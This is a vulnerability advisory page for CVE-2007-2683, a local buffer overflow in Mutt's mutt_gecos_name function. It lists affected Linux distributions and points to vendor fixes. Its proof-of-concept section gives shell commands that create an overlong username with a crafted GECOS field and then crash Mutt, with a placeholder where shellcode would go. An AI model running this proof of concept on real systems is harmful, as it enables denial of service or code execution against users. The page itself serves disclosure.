Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability

BID:24192

Info

Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability

Bugtraq ID: 24192
Class: Boundary Condition Error
CVE: CVE-2007-2683
Remote: No
Local: Yes
Published: May 28 2007 12:00AM
Updated: Aug 10 2007 06:24PM
Credit: raylai reported this issue.
Vulnerable: Trustix Secure Linux 3.0.5
Trustix Secure Linux 3.0
Trustix Secure Linux 2.2
SGI ProPack 3.0 SP6
rPath rPath Linux 1
Redhat Enterprise Linux WS 4
Redhat Enterprise Linux WS 3
Redhat Enterprise Linux ES 4
Redhat Enterprise Linux ES 3
Redhat Enterprise Linux Desktop 5 client
Redhat Enterprise Linux AS 4
Redhat Enterprise Linux AS 3
Redhat Enterprise Linux Desktop version 4
Redhat Enterprise Linux 5 Server
Redhat Desktop 4.0
Redhat Desktop 3.0
Mutt Mutt 1.4.2
+ Netwosix Netwosix Linux 1.0
Mutt Mutt 1.4.1
+ Slackware Linux 9.1
+ Slackware Linux 9.0
+ Slackware Linux 8.1
+ Trustix Secure Linux 2.0
Mutt Mutt 1.4 .0
+ MandrakeSoft Corporate Server 2.1 x86_64
+ MandrakeSoft Corporate Server 2.1
+ Mandriva Linux Mandrake 9.2 amd64
+ Mandriva Linux Mandrake 9.2
+ Mandriva Linux Mandrake 9.1 ppc
+ Mandriva Linux Mandrake 9.1
+ Mandriva Linux Mandrake 9.0
+ Netwosix Netwosix Linux 1.0
+ OpenPKG OpenPKG 1.2
+ OpenPKG OpenPKG 1.1
+ OpenPKG OpenPKG Current
+ Redhat Linux 8.0 i686
+ Redhat Linux 8.0 i386
+ Redhat Linux 8.0
+ SuSE Linux 8.1
Mutt Mutt 1.4.2.2
Mutt Mutt 1.4.2.1
Mandriva Linux Mandrake 2007.1 x86_64
Mandriva Linux Mandrake 2007.1
Mandriva Linux Mandrake 2007.0 x86_64
Mandriva Linux Mandrake 2007.0
MandrakeSoft Corporate Server 3.0 x86_64
MandrakeSoft Corporate Server 3.0
Not Vulnerable: Mutt Mutt 1.4.2.3

Discussion

Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability

Mutt is prone to a local buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before using it in a memory copy operation.

An attacker can exploit this issue to execute arbitrary code with the with the privileges of the victim. Failed exploit attempts will result in a denial of service.

Exploit / POC

Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability

The following proof of concept is available:

# USERNAME=$(perl -e 'print "a" x 31')
# useradd -c '&&&&&&&&& your-favourite-ascii-shellcode-here' $USERNAME
# echo alias billg $USERNAME >~/.muttrc
# mutt billg
# Segmentation fault (core dumped)

Solution / Fix

Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability

Solution:
The vendor released updates to address this issue. Please see the references for more information.

References

Mutt Mutt_Gecos_Name Function Local Buffer Overflow Vulnerability

References:
© CVE.report 2026 |

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report